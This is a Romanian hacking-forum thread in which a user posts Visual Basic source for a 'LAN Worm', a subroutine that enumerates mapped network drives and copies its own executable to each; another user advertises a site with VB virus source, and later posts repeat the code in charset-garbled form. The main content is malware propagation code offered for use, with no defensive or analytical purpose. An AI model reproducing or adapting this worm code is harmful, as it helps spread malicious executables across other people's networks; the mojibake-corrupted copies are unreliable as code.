[source code VB] LAN Worm

[Icarius]

Aceasta subrutina multiplica executabilul in folderele de pe retea

Daca aveti alte intrebari nu ezitati sa ma contactati

Credits: ICARIUS

Public Sub LocalNetwork()

On Error Resume Next



Dim A, B, C

Set A = CreateObject("WScript.Network")

Set B = A.EnumNetworkDrives



If B.Count <> 0 Then

    For C = 0 To B.Count - 1

        If InStr(B.Item(C), "") <> 0 Then

            FileCopy App.Path & "" & App.EXEName & ".exe", B.Item(C)

        End If

    Next

End If



End Sub

[Smiley]

explica si mie unde ce si cum trebuie sa pun codu asta de tine . nu am facut asa ceva pana acu si mi-ar prinde bine o mik mik explicatie .

[Icarius]

pai codul asta il pui intr-un program :@

daca nu stii VB nu prea te ajuta cu nimica. o sa pun in curand niste tutoriale VB pentru incepatori si pentru avansati

[Cracknel]

icarius? esti raul de pe wbb?

daca va intereseaza un cod sursa de virus creat in vb intrati pe

www.cracknel.go.ro

foloseste si codul de mai sus

[Icarius]

Cracknel esti Cracknel de pe wbb?

pai cine crezi ca ti-a trimis mass-u ala pe mess ? :@

[TBone]

o sa pun in curand niste tutoriale VB pentru incepatori si pentru avansati

asta astept eu :@

[Smiley]

<div class='quotetop'>QUOTE("icarius")</div>

pai codul asta il pui intr-un program  :@  

daca nu stii VB nu prea te ajuta cu nimica. o sa pun in curand niste tutoriale VB pentru incepatori si pentru avansati  

ok ms mult . Sper ca vorbesti de Visual Basic ca mai ma descurc si eu prin el :@

[XAnother]

www.trpro.net

[Krisler12™]

Daca aveti alte intrebari nu ezitati sa ma contactati

ÂÂÂÂ* ÂÂÂÂ*For C = 0 To B.Count - 1

ÂÂÂÂ* ÂÂÂÂ* ÂÂÂÂ* ÂÂÂÂ*If InStr(B.Item©, "") <> 0 Then

ÂÂÂÂ* ÂÂÂÂ* ÂÂÂÂ* ÂÂÂÂ* ÂÂÂÂ* ÂÂÂÂ*FileCopy App.Path & "" & App.EXEName & ".exe", B.Item©

ÂÂÂÂ* ÂÂÂÂ* ÂÂÂÂ* ÂÂÂÂ*End If

ÂÂÂÂ* ÂÂÂÂ*Next

Decripteaza asta te rog, vreau VB pur si nu criptografie, ca sa pot intelege.

Multumesc !

[smagazor]

Daca erai intradevar interesat de subiect, sesizai faptul ca postul e facut in mai 2006 si ca defapt era Visual Basic pur si nu criptografie, insa au aparut caracterele astea probabil datorita updateului facut la forum. In orice caz e legat de charsetul folosit.

smagazor

[Krisler12™]

Daca erai intradevar interesat de subiect, sesizai faptul ca postul e facut in mai 2006 si ca defapt era Visual Basic pur si nu criptografie, insa au aparut caracterele astea probabil datorita updateului facut la forum. In orice caz e legat de charsetul folosit.

smagazor

M-am uitat doar la ultimul post, care era recent....